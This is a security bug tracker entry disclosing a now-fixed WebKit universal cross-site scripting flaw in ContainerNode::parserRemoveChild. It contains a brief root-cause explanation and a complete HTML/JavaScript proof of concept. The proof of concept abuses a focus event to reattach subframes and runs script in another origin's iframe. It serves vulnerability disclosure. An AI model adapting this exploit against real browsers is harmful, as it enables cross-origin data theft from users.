New issue
Advanced search Search tips
Issue 1134
Starred by 1 user
Status: Fixed
Owner:
lokihardt@google.com
Closed: May 2017
Cc:
project-...@google.com



Sign in to add a comment
 WebKit: UXSS via ContainerNode::parserRemoveChild (2)
Project Member Reported by lokihardt@google.com, Feb 17 2017 Back to list 
Here's a snippet of ContainerNode::parserRemoveChild.

void ContainerNode::parserRemoveChild(Node& oldChild)
{
    disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
    ...
    document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}

subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.

PoC:
<html>
<head>
</head>
<body>
<script>

let xml = `
<body>
    <div>
        <b>
            <p>
                <script>
                let p = document.querySelector('p');
                let link = p.appendChild(document.createElement('link'));
                link.rel = 'stylesheet';
                link.href = 'data:,aaaaazxczxczzxzcz';

                let btn = document.body.appendChild(document.createElement('button'));
                btn.id = 'btn';
                btn.onfocus = () => {
                    btn.onfocus = null;

                    window.d = document.querySelector('div');
                    window.d.remove();

                    link.remove();
                    document.body.appendChild(p);

                    let m = p.appendChild(document.createElement('iframe'));
                    setTimeout(() => {
                        document.documentElement.innerHTML = '';

                        m.onload = () => {
                            m.onload = null;

                            m.src = 'javascript:alert(location);';
                            var xml = \`
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc\` + \`ript>
<element a="1" a="2" />
</svg>\`;

                            var tmp = document.documentElement.appendChild(document.createElement('iframe'));
                            tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
                        };
                        m.src = 'https://abc.xyz/';
                    }, 0);
                };

                location.hash = 'btn';
                </scrip` + `t>
            </b>
        </p>
    </div>
</body>`;

let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));

</script>
</body>
</html>


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Project Member Comment 1 by lokihardt@google.com, Feb 17 2017 
WebKit Tracker: https://bugs.webkit.org/show_bug.cgi?id=168490
Project Member Comment 2 by lokihardt@google.com, May 11 2017
Status: Fixed
Project Member Comment 3 by lokihardt@google.com, May 24 2017
Labels: -Restrict-View-Commit
► Sign in to add a comment